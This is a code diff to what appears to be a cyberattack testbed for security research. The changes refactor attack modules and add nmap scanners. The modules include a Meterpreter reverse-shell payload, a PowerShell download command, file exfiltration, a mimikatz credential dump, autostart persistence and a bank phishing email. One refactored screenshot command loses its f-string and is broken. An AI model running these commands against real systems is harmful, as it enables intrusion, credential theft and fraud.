diff --git a/.github/workflows/clear-cache.yml b/.github/workflows/clear-cache.yml index 45fc9b5..77bdf45 100644 --- a/.github/workflows/clear-cache.yml +++ b/.github/workflows/clear-cache.yml @@ -9,7 +9,7 @@ jobs: delete-cache: runs-on: [self-hosted, linux] steps: - - uses: actions/checkout@v2 + - uses: actions/checkout@v3 - name: Delete cached iso files run: rm -rf /usr/share/runner-dependencies/packer_cache/* diff --git a/.github/workflows/socbed-systemtest-dev.yml b/.github/workflows/socbed-systemtest-dev.yml index a85236d..bafdf26 100644 --- a/.github/workflows/socbed-systemtest-dev.yml +++ b/.github/workflows/socbed-systemtest-dev.yml @@ -8,7 +8,7 @@ jobs: prepare-environment: runs-on: [self-hosted, linux] steps: - - uses: actions/checkout@v2 + - uses: actions/checkout@v3 with: ref: dev @@ -29,7 +29,7 @@ jobs: needs: [prepare-environment] timeout-minutes: 480 steps: - - uses: actions/checkout@v2 + - uses: actions/checkout@v3 with: ref: dev @@ -96,7 +96,7 @@ jobs: runs-on: [self-hosted, linux] needs: [prepare-environment, build-machines] steps: - - uses: actions/checkout@v2 + - uses: actions/checkout@v3 with: ref: dev @@ -119,7 +119,7 @@ jobs: if: always() needs: [prepare-environment, build-machines, test-machines] steps: - - uses: actions/checkout@v2 + - uses: actions/checkout@v3 with: ref: dev diff --git a/.github/workflows/socbed-systemtest.yml b/.github/workflows/socbed-systemtest.yml index bc66ad4..dc2eda7 100644 --- a/.github/workflows/socbed-systemtest.yml +++ b/.github/workflows/socbed-systemtest.yml @@ -9,7 +9,7 @@ jobs: prepare-environment: runs-on: [self-hosted, linux] steps: - - uses: actions/checkout@v2 + - uses: actions/checkout@v3 - name: Create virtual environment run: python3 -m venv /usr/share/runner-dependencies/socbed_env @@ -31,7 +31,7 @@ jobs: needs: [prepare-environment] timeout-minutes: 480 steps: - - uses: actions/checkout@v2 + - uses: actions/checkout@v3 - name: Activate virtual environment run: source /usr/share/runner-dependencies/socbed_env/bin/activate @@ -96,7 +96,7 @@ jobs: runs-on: [self-hosted, linux] needs: [prepare-environment, build-machines] steps: - - uses: actions/checkout@v2 + - uses: actions/checkout@v3 - name: Activate virtual environment run: source /usr/share/runner-dependencies/socbed_env/bin/activate @@ -117,7 +117,7 @@ jobs: if: always() needs: [prepare-environment, build-machines, test-machines] steps: - - uses: actions/checkout@v2 + - uses: actions/checkout@v3 - name: Delete created VMs run: ./tools/delete_vms diff --git a/.github/workflows/socbed-unittest.yml b/.github/workflows/socbed-unittest.yml index a7e3989..a77aa5a 100644 --- a/.github/workflows/socbed-unittest.yml +++ b/.github/workflows/socbed-unittest.yml @@ -8,6 +8,6 @@ jobs: tox-unit-test: runs-on: [self-hosted, linux] steps: - - uses: actions/checkout@v2 + - uses: actions/checkout@v3 - run: tox -- -m "not systest" diff --git a/provisioning/ansible/attacker_playbook.yml b/provisioning/ansible/attacker_playbook.yml index 5d7efa0..08283ba 100755 --- a/provisioning/ansible/attacker_playbook.yml +++ b/provisioning/ansible/attacker_playbook.yml @@ -31,3 +31,4 @@ - generate_malware - ssh_config - dosfstools + - grc diff --git a/provisioning/ansible/roles/grc/defaults/main.yml b/provisioning/ansible/roles/grc/defaults/main.yml new file mode 100644 index 0000000..e8672e0 --- /dev/null +++ b/provisioning/ansible/roles/grc/defaults/main.yml @@ -0,0 +1,2 @@ +--- +grc_version: "1.13.1-1" diff --git a/provisioning/ansible/roles/grc/tasks/main.yml b/provisioning/ansible/roles/grc/tasks/main.yml new file mode 100644 index 0000000..a29d03e --- /dev/null +++ b/provisioning/ansible/roles/grc/tasks/main.yml @@ -0,0 +1,7 @@ +--- + +- name: Install grc + apt: + name: grc={{ grc_version }} + state: present + update_cache: yes diff --git a/requirements.txt b/requirements.txt index f1cf48b..a98bcc3 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,6 +1,6 @@ ansible==5.1.0 colorama==0.4.1 -paramiko==2.10.1 +paramiko==2.11.0 pytest==5.2.0 pyvmomi==6.7.1.2018.12 pywinrm==0.4.1 diff --git a/src/attacks/__init__.py b/src/attacks/__init__.py index 4850c49..9d3b6f0 100644 --- a/src/attacks/__init__.py +++ b/src/attacks/__init__.py @@ -29,7 +29,8 @@ file.split(".py")[0] for file in os.listdir(module_dir) if file.startswith("attack_") and file.endswith(".py")] -attack_modules = [import_module("." + str(attack_module_name), package=package) for attack_module_name in attack_module_names] +attack_modules = [import_module("." + str(attack_module_name), package=package) + for attack_module_name in attack_module_names] attack_subclasses = set() for attack_module in attack_modules: diff --git a/src/attacks/attack.py b/src/attacks/attack.py index 9f1858a..6832aec 100644 --- a/src/attacks/attack.py +++ b/src/attacks/attack.py @@ -20,7 +20,6 @@ import socket from contextlib import contextmanager from types import SimpleNamespace -from signal import SIGINT, default_int_handler, signal import paramiko from attacks.printer import Printer, ListPrinter, MultiPrinter diff --git a/src/attacks/attack_c2_exfiltration.py b/src/attacks/attack_c2_exfiltration.py index 754d120..b58429a 100644 --- a/src/attacks/attack_c2_exfiltration.py +++ b/src/attacks/attack_c2_exfiltration.py @@ -70,8 +70,9 @@ def _respond(self, line): self.handler.shutdown() def _collect_files(self): + path = self.options.path + pattern = self.options.pattern self.ssh_client.write_lines(self.handler.stdin, [ - "run file_collector -r -d {path} -f {pattern} -o /root/loot/files.txt".format( - path=self.options.path, pattern=self.options.pattern), + f"run file_collector -r -d {path} -f {pattern} -o /root/loot/files.txt", "run file_collector -i /root/loot/files.txt -l /root/loot", "background"]) diff --git a/src/attacks/attack_change_wallpaper.py b/src/attacks/attack_change_wallpaper.py index 1d3e822..7ea3826 100644 --- a/src/attacks/attack_change_wallpaper.py +++ b/src/attacks/attack_change_wallpaper.py @@ -62,6 +62,6 @@ def _respond(self, line): self.handler.shutdown() def _collect_files(self): - self.ssh_client.write_lines(self.handler.stdin, [ - "execute -H -f powershell -a {script}".format(script=self.change_wallpaper_ps_script), - "background"]) + script = self.change_wallpaper_ps_script + self.ssh_client.write_lines(self.handler.stdin, [f"execute -H -f powershell -a {script}", + "background"]) diff --git a/src/attacks/attack_download_malware.py b/src/attacks/attack_download_malware.py index b7cd005..60a1cf0 100644 --- a/src/attacks/attack_download_malware.py +++ b/src/attacks/attack_download_malware.py @@ -46,8 +46,9 @@ def _set_target(self): self.ssh_client.target.username = "ssh" def _download_command(self): + url = self.options.url + file = self.options.file return ( "cmd /C powershell -Command $c = new-object System.Net.WebClient; " - "$c.DownloadFile(\\\"{url}\\\", \\\"{file}\\\") && " - "echo File downloaded successfully.".format( - url=self.options.url, file=self.options.file)) + f"$c.DownloadFile(\\\"{url}\\\", \\\"{file}\\\") && " + "echo File downloaded successfully.") diff --git a/src/attacks/attack_download_malware_meterpreter.py b/src/attacks/attack_download_malware_meterpreter.py index 69e56b6..9e10cfa 100644 --- a/src/attacks/attack_download_malware_meterpreter.py +++ b/src/attacks/attack_download_malware_meterpreter.py @@ -64,6 +64,7 @@ def _respond(self, line): self.handler.shutdown() def _collect_files(self): - self.ssh_client.write_lines(self.handler.stdin, [ - "upload {rfile} {file}".format(rfile=self.remote_file, file=self.options.file), - "background"]) + rfile = self.remote_file + file = self.options.file + self.ssh_client.write_lines(self.handler.stdin, [f"upload {rfile} {file}", + "background"]) diff --git a/src/attacks/attack_email_exe.py b/src/attacks/attack_email_exe.py index 4cd137f..c3fd75a 100644 --- a/src/attacks/attack_email_exe.py +++ b/src/attacks/attack_email_exe.py @@ -47,17 +47,20 @@ def run(self): def _generate_exe_command(self): lhost = self.options.lhost lport = self.options.lport - meterpreter_script = f"msfvenom -p windows/x64/meterpreter/reverse_http LHOST={lhost} LPORT={lport} -a x64 StagerRetryCount=604800 -f exe-only -o /root/Bank-of-Nuthington.exe" + meterpreter_script = ("msfvenom -p windows/x64/meterpreter/reverse_http " + f"LHOST={lhost} LPORT={lport} -a x64 StagerRetryCount=604800 " + "-f exe-only -o /root/Bank-of-Nuthington.exe") return meterpreter_script def _sendemail_command(self, message): + address = self.options.addr return " ".join([ "sendemail", "-f attacker@localdomain", - "-t {addr}".format(addr=self.options.addr), + f"-t {address}", "-s 172.18.0.2", "-u 'Frozen User Account'", - "-m '{msg}'".format(msg=message), + f"-m '{message}'", "-a '/root/Bank-of-Nuthington.exe'", "-o tls=no", "-o message-content-type=html", @@ -65,9 +68,10 @@ def _sendemail_command(self, message): ""]) def _email_body(self): + name = self.options.name return ( "

" - "

Dear {name},

" + f"

Dear {name},

" "

our Technical Support Team unfortunately had to freeze your bank account." " Please download and execute the file provided in the attachment for further" " information.

" @@ -75,4 +79,4 @@ def _email_body(self): " collaboration. This is an automated e-mail. Please do not respond.

" "

" "

© 2017 bankofnuthington.co.uk. All Rights Reserved.

" - "".format(name=self.options.name)) + "") diff --git a/src/attacks/attack_flashdrive_exe.py b/src/attacks/attack_flashdrive_exe.py index b7c6f86..c43b162 100644 --- a/src/attacks/attack_flashdrive_exe.py +++ b/src/attacks/attack_flashdrive_exe.py @@ -49,8 +49,8 @@ def _generate_exe_command(self): lhost = self.options.lhost lport = self.options.lport meterpreter_script = ( - f"msfvenom -p windows/x64/meterpreter/reverse_http LHOST={lhost} LPORT={lport} " - "-a x64 StagerRetryCount=604800 -f exe-only -o /root/Bank-of-Nuthington.exe") + f"msfvenom -p windows/x64/meterpreter/reverse_http LHOST={lhost} LPORT={lport} " + "-a x64 StagerRetryCount=604800 -f exe-only -o /root/Bank-of-Nuthington.exe") return meterpreter_script def _generate_image_commands(self): @@ -69,6 +69,6 @@ def _upload_image_to_client_command(self): image_path = self.image_path rhost = self.options.rhost upload_command = ( - f"sshpass -p 'breach' scp {image_path} ssh@{rhost}:/BREACH/ " - "&& echo 'Image file successfully sent'") + f"sshpass -p 'breach' scp {image_path} ssh@{rhost}:/BREACH/ " + "&& echo 'Image file successfully sent'") return upload_command diff --git a/src/attacks/attack_flashdrive_exfiltration.py b/src/attacks/attack_flashdrive_exfiltration.py index 592ce36..a648c03 100644 --- a/src/attacks/attack_flashdrive_exfiltration.py +++ b/src/attacks/attack_flashdrive_exfiltration.py @@ -44,7 +44,8 @@ def _set_target(self): self.ssh_client.target.username = "ssh" def _copy_files_to_flashdrive_commands(self): + directory = self.options.rdir return [ "imdisk -a -s 64M -m L: -p \"/fs:ntfs /q /y\"", - "xcopy /E \"{dir}\" L:".format(dir=self.options.rdir), + f"xcopy /E \"{directory}\" L:", "imdisk -D -m L:"] diff --git a/src/attacks/attack_hashdump.py b/src/attacks/attack_hashdump.py index 53114b5..98ba9c6 100644 --- a/src/attacks/attack_hashdump.py +++ b/src/attacks/attack_hashdump.py @@ -56,7 +56,7 @@ def _handle_output(self): self._respond(line) self.print(line) except UnicodeDecodeError as e: - self.print("UnicodeDecodeError: {}".format(e)) + self.print(f"UnicodeDecodeError: {e}") self.handler.shutdown() def _respond(self, line): diff --git a/src/attacks/attack_mimikatz.py b/src/attacks/attack_mimikatz.py index 7f2446e..d112529 100644 --- a/src/attacks/attack_mimikatz.py +++ b/src/attacks/attack_mimikatz.py @@ -54,7 +54,7 @@ def _handle_output(self): self._respond(line) self.print(line) except UnicodeDecodeError as e: - self.print("UnicodeDecodeError: {}".format(e)) + self.print(f"UnicodeDecodeError: {e}") self.handler.shutdown() def _respond(self, line): @@ -76,4 +76,3 @@ def _run_mimikatz(self): "load kiwi", "creds_all", "background"]) - diff --git a/src/attacks/attack_nmap_host_discovery.py b/src/attacks/attack_nmap_host_discovery.py new file mode 100644 index 0000000..1a3d627 --- /dev/null +++ b/src/attacks/attack_nmap_host_discovery.py @@ -0,0 +1,22 @@ +from attacks import Attack, AttackInfo +from attacks.nmap_attack_options import NmapAttackOptions as AttackOptions +from attacks.nmap_attack_options import get_speed + + +class NmapHostDiscoveryAttackOptions(AttackOptions): + target: str = "Target range or IP" + + def _set_defaults(self) -> None: + self.target = "192.168.56.1/23" + + +class NmapHostDiscoveryAttack(Attack): + info: AttackInfo = AttackInfo( + name="misc_nmap_host_discovery", + description="Scan the network for available hosts", + ) + options_class = NmapHostDiscoveryAttackOptions + + def run(self) -> None: + command: str = f"nmap -T{get_speed(self.options)} -n -sn {self.options.target}" + self.exec_command_on_target(command) diff --git a/src/attacks/attack_nmap_portscan.py b/src/attacks/attack_nmap_portscan.py new file mode 100644 index 0000000..2448850 --- /dev/null +++ b/src/attacks/attack_nmap_portscan.py @@ -0,0 +1,44 @@ +from attacks import Attack, AttackInfo +from attacks.nmap_attack_options import NmapAttackOptions as AttackOptions +from attacks.nmap_attack_options import get_speed + + +class NmapPortscanAttackOptions(AttackOptions): + target: str = "Target IP or range" + scan_type: str = "Scan Type" + ports: str = "Ports to scan, set to 'ics' to scan a list of ICS-specific ports" + + def _set_defaults(self) -> None: + self.target = "192.168.56.101" + self.scan_type = "-sT -sU" + self.ports = "top10" + + +class NmapPortscanAttack(Attack): + info = AttackInfo( + name="misc_nmap_portscan", + description="Scan for open ports", + ) + options_class = NmapPortscanAttackOptions + ics_ports: str = ( + "U:47808,20000,34980,2222,44818,55000-55003,1089-1091,34962-34964,4000,161," + + "T:20000,44818,1089-1091,102,502,4840,80,443,34962-34964,4000,2404" + ) + + def run(self) -> None: + port = self._set_port() + + command: str = ( + f"sudo nmap -T{get_speed(self.options)} -n {self.options.scan_type} " + f"{self.options.target}{port}" + ) + self.exec_command_on_target(command) + + def _set_port(self) -> str: + if self.options.ports == "ics": + return f" -p {self.ics_ports}" + + if self.options.ports.startswith("top"): + return f" --top-ports {self.options.ports.strip('top')}" + + return f" -p {self.options.ports}" diff --git a/src/attacks/attack_nmap_service_discovery.py b/src/attacks/attack_nmap_service_discovery.py new file mode 100644 index 0000000..7ae5fde --- /dev/null +++ b/src/attacks/attack_nmap_service_discovery.py @@ -0,0 +1,88 @@ +from typing import Dict, List + +from attacks import Attack, AttackInfo +from attacks.nmap_attack_options import NmapAttackOptions as AttackOptions +from attacks.nmap_attack_options import get_speed +from attacks.util import print_error, print_warning + + +class NmapServiceDiscoveryAttackOptions(AttackOptions): + target: str = "Target IP or range" + scan_type: str = ( + "Scan Type [(comprehensive), os_detect, snmp_info, snmp, iec104_info, vuln, empty]" + ) + port: str = "Ports to scan" + exclude_ports: str = "Ports to exclude from scan" + script: str = "Nmap script to run" + + def _set_defaults(self) -> None: + self.target = "192.168.56.101" + self.port = "" + self.exclude_ports = "" + self.script = "" + self.scan_type = "comprehensive" + self.scan_type_choices = [ + "comprehensive", + "os_detect", + "snmp_info", + "snmp", + "iec104_info", + "vuln", + "empty", + ] + + +class NmapServiceDiscoveryAttack(Attack): + info = AttackInfo( + name="misc_nmap_service_discovery", + description="Scan for exposed services", + ) + options_class = NmapServiceDiscoveryAttackOptions + + def run(self) -> None: + command: str = ( + f"sudo nmap -T{get_speed(self.options)} -n{self.get_nmap_args()} " + f"{self.options.target}" + ) + self.exec_command_on_target(command) + + @staticmethod + def format_arg(argument: str, user_value: str, variant_value: str = "") -> str: + # this creates an ordered set of option values + # https://stackoverflow.com/questions/1653970/does-python-have-an-ordered-set/53657523#53657523 + ordered_values: List[str] = [ + option for option in dict.fromkeys([variant_value, *user_value.split(",")]) if option + ] + + if not ordered_values: + return "" + return f" {argument} {','.join(ordered_values)}" + + def get_nmap_args(self) -> str: + variants: Dict = dict( + SNMP_INFO={"option": "-sU", "port": "161", "script": "snmp-info"}, + SNMP={"option": "-sU -sV -sC", "port": "161"}, + IEC104_INFO={"port": "2404", "script": "iec-identify"}, + OS_DETECT={"option": "-O"}, + COMPREHENSIVE={"option": "-A"}, + VULN={"script": "vuln"}, + EMPTY={}, + ) + + try: + variant_options = variants[self.options.scan_type.upper()] + except LookupError: + print_error(f"Invalid option: {self.options.scan_type}") + print_warning("Default to: empty") + self.options.scan_type = "empty" + variant_options = variants[self.options.scan_type.upper()] + + return self._resolve_nmap_args(**variant_options) + + def _resolve_nmap_args(self, option="", port="", script="") -> str: + resolved_args = f" {option}" + resolved_args += self.format_arg("-p", self.options.port, port) + resolved_args += self.format_arg("--exclude-ports", self.options.exclude_ports) + resolved_args += self.format_arg("--script", self.options.script, script) + + return resolved_args diff --git a/src/attacks/attack_set_autostart.py b/src/attacks/attack_set_autostart.py index aad8cb9..5e3d10b 100644 --- a/src/attacks/attack_set_autostart.py +++ b/src/attacks/attack_set_autostart.py @@ -46,7 +46,8 @@ def _set_target(self): self.ssh_client.target.username = "ssh" def _autostart_command(self): + name = self.options.name + data = self.options.data return ( "REG ADD HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run " - "/v \"{name}\" /t REG_SZ /d \"{data}\" /f".format( - name=self.options.name, data=self.options.data)) + f"/v \"{name}\" /t REG_SZ /d \"{data}\" /f") diff --git a/src/attacks/attack_take_screenshot.py b/src/attacks/attack_take_screenshot.py index 4897bd9..a605562 100644 --- a/src/attacks/attack_take_screenshot.py +++ b/src/attacks/attack_take_screenshot.py @@ -67,6 +67,6 @@ def _respond(self, line): self.handler.shutdown() def _collect_files(self): - self.ssh_client.write_lines(self.handler.stdin, [ - "screenshot -p {file}".format(file=self.screenshot_file), - "background"]) + file = self.screenshot_file + self.ssh_client.write_lines(self.handler.stdin, ["screenshot -p {file}", + "background"]) diff --git a/src/attacks/attackconsole.py b/src/attacks/attackconsole.py index 4832199..b863fd1 100755 --- a/src/attacks/attackconsole.py +++ b/src/attacks/attackconsole.py @@ -75,7 +75,7 @@ def _add_isotime_to_record(cls, record): tz = cls._tz_fix.match(time.strftime("%z")) if time.timezone and tz: offset_hrs, offset_min = tz.groups() - isotime += "{0}:{1}".format(offset_hrs, offset_min) + isotime += f"{offset_hrs}:{offset_min}" else: isotime += "Z" record.__dict__["isotime"] = isotime @@ -113,7 +113,7 @@ def __init__(self, attack_class, **kwargs): option: self.options_class.__dict__[option] for option in self.attack_options} self.attack = self.attack_class(printer=ConsolePrinter()) - self.prompt = "attackconsole ({name}) > ".format(name=self.attack_class.info.name) + self.prompt = f"attackconsole ({self.attack_class.info.name}) > " def precmd(self, line): if not self._stdin_is_a_tty(): @@ -150,12 +150,19 @@ def do_set(self, arg): print("*** Invalid number of option arguments\n*** Usage: set